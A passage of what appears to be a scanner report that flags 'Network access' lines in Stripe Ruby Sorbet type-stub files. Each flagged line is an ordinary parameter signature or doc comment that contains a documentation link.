# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1493
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 1494
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px - Network accessline 1495
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1502
end class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s - Network accessline 1503
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than - Network accessline 1504
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 1507
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 1508
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px - Network accessline 1509
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 1608
sig { params(_gender: T.nilable(String)).returns(T.nilable(String)) } def gender=(_gender); end # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance numb - Network accessline 1609
def gender=(_gender); end # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII - Network accessline 1610
# The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht - Network accessline 1613
sig { params(_id_number: T.nilable(String)).returns(T.nilable(String)) } def id_number=(_id_number); end # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Tha - Network accessline 1614
def id_number=(_id_number); end # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of - Network accessline 1615
# The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi - Network accessline 1638
sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) } def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 1639
def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 1640
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1645
} def metadata=(_metadata); end # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 1646
def metadata=(_metadata); end # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. sig { returns(T.nilable(String - Network accessline 1647
# The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 1756
} def card=(_card); end # Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header] - Network accessline 1757
def card=(_card); end # Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header](https - Network accessline 1758
# Create a token for the customer, which is owned by the application's account. You can only use this with an [OAuth access token](https://docs.stripe.com/connect/standard-accounts) or [Stripe-Account header](https://docs.stripe.com/connect
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/topup_create_params.rbi
- Network accessline 10
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c - Network accessline 11
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 25
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 26
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 27
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 32
} def metadata=(_metadata); end # The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, - Network accessline 33
def metadata=(_metadata); end # The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, this c - Network accessline 34
# The ID of a source to transfer funds from. For most users, this should be left unspecified which will use the bank account that was set up in the dashboard for the specified currency. In test mode, this can be a test bank token (see [Test
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/topup_update_params.rbi
- Network accessline 15
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 16
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_create_params.rbi
- Network accessline 10
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency]( - Network accessline 11
def amount=(_amount); end # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). sig { returns(String) } - Network accessline 12
# Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). - Network accessline 30
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 31
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 32
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 37
} def metadata=(_metadata); end # You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until - Network accessline 38
def metadata=(_metadata); end # You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until the or - Network accessline 39
# You can use this parameter to transfer funds from a charge before they are added to your available balance. A pending balance will transfer immediately but the funds will not become available until the original charge becomes available. [ - Network accessline 47
sig { params(_source_type: T.nilable(String)).returns(T.nilable(String)) } def source_type=(_source_type); end # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/c - Network accessline 48
def source_type=(_source_type); end # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details. sig { - Network accessline 49
# A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_create_params.rbi
- Network accessline 20
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 21
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 22
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_update_params.rbi
- Network accessline 10
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 11
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/transfer_update_params.rbi
- Network accessline 15
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 16
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/credit_reversal_create_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 12
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 13
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/debit_reversal_create_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 12
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 13
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_create_params.rbi
- Network accessline 266
} def features=(_features); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In - Network accessline 267
def features=(_features); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 268
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_update_params.rbi
- Network accessline 294
} def forwarding_settings=(_forwarding_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a - Network accessline 295
def forwarding_settings=(_forwarding_settings); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 296
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_create_params.rbi
- Network accessline 11
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 12
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 13
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 31
sig { params(_financial_account: String).returns(String) } def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for - Network accessline 32
def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 33
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_create_params.rbi
- Network accessline 14
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 34
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 35
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 36
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 133
sig { params(_financial_account: T.nilable(String)).returns(T.nilable(String)) } def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an obje - Network accessline 134
def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 135
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 167
class DestinationPaymentMethodOptions < ::Stripe::RequestParams class UsBankAccount < ::Stripe::RequestParams # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See - Network accessline 168
class UsBankAccount < ::Stripe::RequestParams # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) t - Network accessline 169
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net - Network accessline 208
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 209
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 210
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 263
sig { params(_financial_account: String).returns(String) } def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for - Network accessline 264
def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 265
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_create_params.rbi
- Network accessline 22
class DestinationPaymentMethodOptions < ::Stripe::RequestParams class UsBankAccount < ::Stripe::RequestParams # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See - Network accessline 23
class UsBankAccount < ::Stripe::RequestParams # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) t - Network accessline 24
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net - Network accessline 49
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 50
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 51
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 92
sig { params(_financial_account: String).returns(String) } def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for - Network accessline 93
def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 94
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/received_credit_create_params.rbi
- Network accessline 52
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 53
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 54
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
} def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.co - Network accessline 82
def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasu - Network accessline 83
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/treasury/received_debit_create_params.rbi
- Network accessline 52
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 53
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 54
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
} def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.co - Network accessline 82
def initiating_payment_method_details=(_initiating_payment_method_details); end # Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasu - Network accessline 83
# Specifies the network rails to be used. If not set, will default to the PaymentMethod's preferred network. See the [docs](https://docs.stripe.com/treasury/money-movement/timelines) to learn more about money movement timelines for each net
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_create_params.rbi
- Network accessline 23
# `value_settings.event_payload_key` (default is `value`). Read more about # the # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides). - Network accessline 24
# the # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides). sig { returns(T::Hash[String, String]) } - Network accessline 25
# [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/billing/meter_event_stream_create_params.rbi
- Network accessline 24
# `value_settings.event_payload_key` (default is `value`). Read more about # the # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides). - Network accessline 25
# the # [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides). sig { returns(T::Hash[String, String]) } - Network accessline 26
# [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/account_create_params.rbi
- Network accessline 144
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 145
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 146
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 268
end class Branding < ::Stripe::RequestParams # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 269
class Branding < ::Stripe::RequestParams # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. sig { returns(T.nilab - Network accessline 270
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 273
sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) } def icon=(_icon); end # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used - Network accessline 274
def icon=(_icon); end # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if pro - Network accessline 275
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p - Network accessline 1250
def initialize(descriptor: nil, prefix: nil); end end # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get - Network accessline 1251
end # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-de - Network accessline 1252
# The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1259
} def kana=(_kana); end # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-de - Network accessline 1260
def kana=(_kana); end # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-ja - Network accessline 1261
# The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1294
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1295
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 1296
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1574
def initialize(fees_collector: nil, losses_collector: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do - Network accessline 1575
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilable(String)) } - Network accessline 1576
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 1648
end class PersonsProvided < ::Stripe::RequestParams # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stri - Network accessline 1649
class PersonsProvided < ::Stripe::RequestParams # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/co - Network accessline 1650
# Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1653
sig { params(_directors: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def directors=(_directors); end # Whether the company’s executives have been provided. Set this Boolean to true after creating all - Network accessline 1654
def directors=(_directors); end # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/cr - Network accessline 1655
# Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1658
sig { params(_executives: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def executives=(_executives); end # Whether the company’s owners have been provided. Set this Boolean to true after creating all t - Network accessline 1659
def executives=(_executives); end # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createpe - Network accessline 1660
# Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). - Network accessline 1721
def initialize(date: nil, ip: nil, user_agent: nil); end end # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 1722
end # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). sig { - Network accessline 1723
# Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance). - Network accessline 1798
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1799
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 1800
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1843
class AnnualRevenue < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#m - Network accessline 1844
class Amount < ::Stripe::RequestParams # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). sig { returns(T.nilable(Integer - Network accessline 1845
# A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units). - Network accessline 1848
